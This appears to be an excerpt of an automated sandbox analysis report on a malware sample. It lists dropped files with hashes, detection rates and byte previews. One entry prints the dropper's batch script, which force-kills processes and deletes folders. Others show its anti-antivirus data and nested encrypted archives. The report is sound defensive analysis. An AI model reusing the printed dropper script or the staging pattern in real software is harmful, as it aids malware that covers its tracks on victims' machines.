Entropy (8bit):	7.309716180257069
Encrypted:	false
SSDEEP:	384:bNkcKOXXU2KpwKNs1IdrMkSJIVE8E9VF0NyTGInpwKNs1IdrNJjSJIVE8E9VF0Nq:bNuik2/SdrW2EVcSdrn62EWg
MD5:	370EE18A17759B6BFBED5CD61C9CB790
SHA1:	9C771CB24E1BE76C2B2CA8EEBBD9B3CF35F2B225
SHA-256:	FC66CD9ADD2A83DD2FB12CD908E8F70D54530D4DBF011E948C8ADEAAA1DC975B
SHA-512:	1EC5D3D3DBDA311FCA1DFA67E663AD01EEB2B6C0F53F17A48DBB8BDB20BDD5F102DCF959D8BDA0D83DDCC97EB50858D31FA4945CD8E1A0DA8BA96CC65177E5C0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....X..........." ..0.............R+... ...@....... ..............................AJ....@..................................+..O....@...................Y...`......\|..8............................................ ............... ..H............text...X.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................4+......H........!...............................................................0...........(......r...p.r...p.(....(.....(....-.r#..p.(....s....z..(......o.....+..o.....o.....o....-....,..o........,..o......2..o....-..o....+..o....rE..p.o....o....(....s....z....(....F..^........?.+j........8.>v.2.....0..~.......rI..p.r...p.(....(....rc..p(....s........o......o ...&..o!......,..o......2..o....-..o....+..o....rE..p.o....o....(....s....z........&..?..........5K.2......("...BSJB....

C:\Users\user\AppData\Local\Temp\FutureApp\sib.dat (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017082001\Dh5yvWY.exe
File Type:	data
Category:	dropped
Size (bytes):	5248
Entropy (8bit):	3.6083702112192984
Encrypted:	false
SSDEEP:	96:XqeVHklBFbJxrfvx5O1SG+qh0BkSG+8D2D6DoD7JiDc0:Xq0Hklnzvx8oGxSGhYsy7W
MD5:	29CD6E1C8FF658A4DDB263711010F910
SHA1:	D52BF677DB91278C332A2DE7CE7F425C8A6B5E40
SHA-256:	D3E610DE7DE2F7AF4458C76DEBCBAD3A770ECBB8D08360523448559A4BAA8CC4
SHA-512:	6F42B277418524F396899EE7AA11223676E0A630235AC0DAF513FE0CDC69ADACE5DE4B66D98B559B3CDC195E064873D67C26767F7AE0ED80A2D5D4527E62137B
Malicious:	false
Preview:	...&{.5.C.E.5.A.1.B.1.-.F.0.3.A.-.4.D.E.3.-.8.F.3.9.-.C.D.4.7.C.4.C.8.6.4.D.D.}.....F.u.t.u.r.e.A.p.p.........................F.u.t.u.r.e.A.p.p.....1.2...1.0...0.3.1.....F.u.t.u.r.e.A.p.p...i.n.c......././.U.n.c.o.m.m.e.n.t. .l.i.n.e. .t.o. .e.n.a.b.l.e. .c.o.n.d.i.t.i.o.n......././.M.i.n.W.i.n.d.o.w.s.V.e.r.s.i.o.n.(.".1.0.".).;....././.I.s.6.4.b.i.t.O.S.(.).;....././.M.i.n.D.o.t.N.e.t.V.e.r.s.i.o.n.(.".3...5.".).;....././.A.p.p.I.n.s.t.a.l.l.e.d.(.".M.i.c.r.o.s.o.f.t. .O.f.f.i.c.e..".,. .".>.=.1.6...0.".).;....././.A.p.p.N.o.t.I.n.s.t.a.l.l.e.d.(.".N.o.t.e.p.a.d.+.+..".,. .".7...6...3.".).;.........D.:.\.....N.e.w.P.a.c.k.a.g.e.2.2.2.2.2...e.x.e..E.{. "appVersion": "6.3.4",. "arpNoRemove": true,. "arpNoRepair": true,. "arpNoShow": true,. "lang": "en-US",. "productCode": "{3F41FE47-76AF-4E91-A64E-FAFABF68ED5A}",. "uiScriptTest": false,. "uid": "{F570B3DB-3904-4E34-9B60-4CCBF22CF06C}",. "upgradeCode": "{5DC5FCC3-D332-4666-B810-D53C9DDABB36}".}....D.:.\.n.\.

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2a40b53i.4qv.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bohdcrlh.la5.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gannj2wc.3pf.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hg5qgdau.jcu.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jp4vsxmn.ven.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jzvtxkxr.sux.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kca2xnz1.v2b.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nadilmvi.vlv.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p04dl0ry.p3m.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qkh3hlf0.14q.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_t01pyutq.b20.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_w4wqfchg.43o.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zgto3ckz.pvc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zidiui4u.1ma.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3061248
Entropy (8bit):	6.5405648346908665
Encrypted:	false
SSDEEP:	49152:ySH+zx0utEJ2AzeVsFxdeRqDr0EA/2IEeZuqiXRL:ySedptEJtzeVsFxdDDr0EA+4cXt
MD5:	F04E6F4A98B27FCCB18CDDE586A3E946
SHA1:	9BF30C2D707089F4B0AFBB8D6EA4A7A8A2374691
SHA-256:	5EB00B4D1604A197DDD4F16476DDCB649686DE0160158C2A04136E7A62D0246B
SHA-512:	841C22E9E66D490A918DE842B5D5E458AEB9CC178D54E8A34AC6F4B81932E9305A41095CEF70C8EB4B0582068CC492E26BAA7440A921B86EE05833FFC0142BB5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................`2...........@...........................2...........@.................................W...k...........................tF2.............................$F2..................................................... . ............................@....rsrc...............................@....idata ............................@...htmesedz..+.......+.................@...umtkotfn.....P2.....................@....taggant.0...`2.."..................@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\main\7z.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1679360
Entropy (8bit):	6.278252955513617
Encrypted:	false
SSDEEP:	24576:S+clx4tCQJSVAFja8i/RwQQmzgO67V3bYgR+zypEqxr2VSlLP:jclmJSVARa86xzW3xRoyqqxrT
MD5:	72491C7B87A7C2DD350B727444F13BB4
SHA1:	1E9338D56DB7DED386878EAB7BB44B8934AB1BC7
SHA-256:	34AD9BB80FE8BF28171E671228EB5B64A55CAA388C31CB8C0DF77C0136735891
SHA-512:	583D0859D29145DFC48287C5A1B459E5DB4E939624BD549FF02C61EAE8A0F31FC96A509F3E146200CDD4C93B154123E5ADFBFE01F7D172DB33968155189B5511
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........w...$...$...$.&.$...$.&.$...$...$...$.&.$%..$.&.$..$.&G$...$.&.$...$.&.$...$.&.$...$Rich...$........................PE..d.....n\.........." .........H...............................................P............`.............................................y...l...x........{...p.......................................................................................................text............................... ..`.rdata..9...........................@..@.data...............................@....pdata.......p... ..................@..@.rsrc....{.......\|..................@..@.reloc...0.......2...n..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\7z.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	468992
Entropy (8bit):	6.157743912672224
Encrypted:	false
SSDEEP:	6144:fz1gL5pRTMTTjMkId/BynSx7dEe6XwzRaktNP08NhKs39zo43fTtl1fayCV7+DHV:r1gL5pRTcAkS/3hzN8qE43fm78V
MD5:	619F7135621B50FD1900FF24AADE1524
SHA1:	6C7EA8BBD435163AE3945CBEF30EF6B9872A4591
SHA-256:	344F076BB1211CB02ECA9E5ED2C0CE59BCF74CCBC749EC611538FA14ECB9AAD2
SHA-512:	2C7293C084D09BC2E3AE2D066DD7B331C810D9E2EECA8B236A8E87FDEB18E877B948747D3491FCAFF245816507685250BD35F984C67A43B29B0AE31ECB2BD628
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........(...{...{...{...{...{...{...{...{...{...{...{...{...{..!{...{...{...{...{...{Rich...{................PE..d.....n\.........."..........l...... .........@...........................................`.....................................................x....`..........,a...........p.......................................................... ............................text............................... ..`.rdata..............................@..@.data....,..........................@....pdata..,a.......b..................@..@.rsrc........`......................@..@.reloc.......p......................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\main\KillDuplicate.cmd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1017081001\b97918e852.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	222
Entropy (8bit):	4.855194602218789
Encrypted:	false
SSDEEP:	6:vFuj9HUHOPLtInnIgvRY77flFjfA+qpxuArS3+xTfVk3:duj9HeONgvRYnlfYFrSMTtk3
MD5:	68CECDF24AA2FD011ECE466F00EF8450
SHA1:	2F859046187E0D5286D0566FAC590B1836F6E1B7
SHA-256:	64929489DC8A0D66EA95113D4E676368EDB576EA85D23564D53346B21C202770
SHA-512:	471305140CF67ABAEC6927058853EF43C97BDCA763398263FB7932550D72D69B2A9668B286DF80B6B28E9DD1CBA1C44AAA436931F42CC57766EFF280FDB5477C
Malicious:	false
Preview:	Cd /d %1..Rd "%SfxVarApiPath%"..For /f "Tokens=1,2 Delims=," %%I In ('TaskList /fo CSV /nh') Do (.. If %%I==%2 (.. Set /a N+=1.. Set PID=%%~J.. )..)..If %N% EQU 1 Rd /s /q %1..If %N% GTR 1 TaskKill /pid %PID% /t /f

C:\Users\user\AppData\Local\Temp\main\extracted\AntiAV.data

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	2355713
Entropy (8bit):	5.891648193754473
Encrypted:	false
SSDEEP:	24576:5yZBPkpRrP9pxC+XvoflcYy36s3vb0EecYy37n92k8GtGAQZ67hR7krC/Cyf0/xO:R9kqGu7okoZscCnf0/Zs9p
MD5:	579A63BEBCCBACAB8F14132F9FC31B89
SHA1:	FCA8A51077D352741A9C1FF8A493064EF5052F27
SHA-256:	0AC3504D5FA0460CAE3C0FD9C4B628E1A65547A60563E6D1F006D17D5A6354B0
SHA-512:	4A58CA0F392187A483B9EF652B6E8B2E60D01DAA5D331549DF9F359D2C0A181E975CF9DF79552E3474B9D77F8E37A1CF23725F32D4CDBE4885E257A7625F7B1F
Malicious:	false
Preview:	KmO6sb9bzFlO6QmlyBR3cUuBrPdmJRJBhXshklfui2fRJCiITlYNEM2EqC9x9I0qVq7CGnIhkwh6hvGvu5pkfBRaoLATG90WNTmCTDFIBTSnd7l9KiCxIUJ5zlBvrKkHZaxyJb0N052Q1AaMDCASX2cw1ZaV1bKcufYPprTSqVIRscgIruKC2MOUPLxNBR1egyVxwSbedVhVl89lRxHAMRMf16G6Ry1TTz7dOtnEaLQowPwuw8eDnR20ZOyf9yYTVcpDsiS4K2VzryfyiwiOXZDq7UaTFrtOgtVQzuNXN74O8xkfvt4Ykzxcs60WfAkGZKsYbwZWS4bPPY8cze1vDL6leHmcDUIbsBvTleZtzGhgeYGdRaUmv5ljenoBZOBDIndh9KTa7zBVHuP4jAK8C2IKaB5BgFReYTleqD0cCkhTdxbkQAMwHPuKktcCRORGmFfE37OzhnpNUtRyIHoGBwau6RcKp6vTNwIWRMkDjZaejD2NS5TCgRvcwgZcldKIAtOqIN0TXMXlnX6scNgHltMTvvwSZbBsDdCGRINZlutVfbP6joQl5sw21ICykYYYKwRfLlfpREpOzuAjwo7oC8hJ4Tv652auJh1RujdaLcIfX5oB1GDuu95ojl52qB08Lzg7nIl7yDb4k9X8rUPZ857XTGTaXkhL77wwG75hAnvfazjbPfP5GZrDYRdhe2I0zSJZuV5aaWd5Imf8Ck0w9ALkKR7xhRlclC4FnJOBuXxpdcsG9gE8tgukaoXpzf4z0CHJ0VOfBNcErBEPyoWMZfee3Vfg2NyLVPvaC6c5HNC1mZSr0SpB1RAlj2w7ST9eZL5DUYwl8p6flt6I3p7MBJrZLlY3LgBSr5F4BYYU6sebHdx0ES2Ci6J9wBw0wGLCy8SeSDS45pkrvWvTZkvW2oFTNBda3aYJyut0zJi1Chjp4xQkH1cEMWZUOy7MueiWNcfeKZqM4Gg2hr7XoLoTQXyvcXvxeOwXoXJKXvu4

C:\Users\user\AppData\Local\Temp\main\extracted\file_1.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	1799594
Entropy (8bit):	7.99773141173711
Encrypted:	true
SSDEEP:	49152:8yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ+:tj13Trb6i5iGmuXZTbBizt0Jhc
MD5:	5659EBA6A774F9D5322F249AD989114A
SHA1:	4BFB12AA98A1DC2206BAA0AC611877B815810E4C
SHA-256:	E04346FEE15C3F98387A3641E0BBA2E555A5A9B0200E4B9256B1B77094069AE4
SHA-512:	F93ABF2787B1E06CE999A0CBC67DC787B791A58F9CE20AF5587B2060D663F26BE9F648D116D9CA279AF39299EA5D38E3C86271297E47C1438102CA28FCE8EDC4
Malicious:	false
Preview:	PK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y*.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./..t?......6FU....;2].@...z..8..K^B/W..

C:\Users\user\AppData\Local\Temp\main\extracted\file_2.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799748
Entropy (8bit):	7.997729415613798
Encrypted:	true
SSDEEP:	49152:5yj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJ/:4j13Trb6i5iGmuXZTbBizt0Jhl
MD5:	5404286EC7853897B3BA00ADF824D6C1
SHA1:	39E543E08B34311B82F6E909E1E67E2F4AFEC551
SHA-256:	EC94A6666A3103BA6BE60B92E843075A2D7FE7D30FA41099C3F3B1E2A5EBA266
SHA-512:	C4B78298C42148D393FEEA6C3941C48DEF7C92EF0E6BAAC99144B083937D0A80D3C15BD9A0BF40DAA60919968B120D62999FA61AF320E507F7E99FBFE9B9EF30
Malicious:	false
Preview:	PK........n..YC.?.u...u......file_1.zipPK........i..Y..5..u..........in.exe.Y.4.a...3c0.e.c..X....0.\[...3Hb....^...T.-f..$k.b..#&.B.v...s.s....{.......{..\|.s.O......._....H.........(4.Io..""..q...CO.......G...)1......!...c:....=.....h.w?.o.q................4,.....\..:................_................(...S......Q.....wP..../3.......?..b......@.m.;.W...........:......8.......a..o.O....a......."......'..S....@....&.V.........(..p...u.sa=F.....~.".p..".B...eE...x..w.m....d..h...4...@.`......F.Z......h.[._O.\f....t..?..7s\|&Fj..T:.m...J..sk..t.\K]...h5..[...).E.,.4.....u...tP7B.0.I...H.15........+..[..G..)...M..;..H.?g...\.\.ZT.Q..&..@....nnx......s..1W...x.W..M2.h@.C@<.B\.&..:hgwM...$...y....._..z?....< ..T.._..^./m{.E..Y.;ol..&_/./....3........x.%....$..=.^}.}..53.....\|...\|-... #..Z-.b.Ej...q.u..L-..x8...%..P:PKs...]....}...;:.Z........H..3k..F..:....X2a.e..G..f6...}....H.V.#r.H....T.....!....~...R%xu....(^......U.{.......l..RtFDi......./

C:\Users\user\AppData\Local\Temp\main\extracted\file_3.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	Zip archive data, at least v1.0 to extract, compression method=store
Category:	dropped
Size (bytes):	1799902
Entropy (8bit):	7.997726708945573
Encrypted:	true
SSDEEP:	49152:Cyj13b27Gvrb6VZvqF7iGc8bbmuXZTsD28cz2TPt0JhJV:nj13Trb6i5iGmuXZTbBizt0Jh3
MD5:	5EB39BA3698C99891A6B6EB036CFB653
SHA1:	D2F1CDD59669F006A2F1AA9214AEED48BC88C06E
SHA-256:	E77F5E03AE140DDA27D73E1FFE43F7911E006A108CF51CBD0E05D73AA92DA7C2
SHA-512:	6C4CA20E88D49256ED9CABEC0D1F2B00DFCF3D1603B5C95D158D4438C9F1E58495F8DFA200DBE7F49B5B0DD57886517EB3B98C4190484548720DAD4B3DB6069E
Malicious:	false
